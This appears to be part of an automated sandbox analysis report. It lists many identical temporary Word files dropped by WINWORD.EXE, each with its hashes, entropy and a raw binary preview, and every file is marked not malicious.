C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{674DE5B4-6A35-472E-9D42-8619D66C7E42}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{67D2E8F0-B11B-4DCB-A4CC-03E2012C93D6}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6C9F02EB-8FF5-46C4-AF24-BDF1BE891750}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6D286112-9013-4E55-9A90-CEE2C9D1D181}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{739FCCEF-FFB4-47EB-A8A0-C1428DFBD7AA}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{7D532FFA-CBEB-41CF-BEF4-B60908275B24}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{822042A0-43FD-432B-A520-968E088F711D}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8FD028B5-3872-4795-B4E2-1308A4476391}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{90172D4C-484C-44BA-843D-F4F9A2400380}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{93E69415-4268-40C6-BCC4-A2A534071EF5}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{96CA08EE-6EAB-4F1F-91A1-14A5FEEEBC99}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9FDC9785-3E42-4AC0-8976-4B45288E70F2}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A16978B5-7EBA-4982-9BC7-3FC04A5A4EC4}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A1930D34-5726-4F40-95C5-D8D6D54A5E1B}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A364CD50-87DA-44F9-971C-A924C98399A0}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A9CC0C02-2707-4BBE-A867-E35C4C57F15D}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
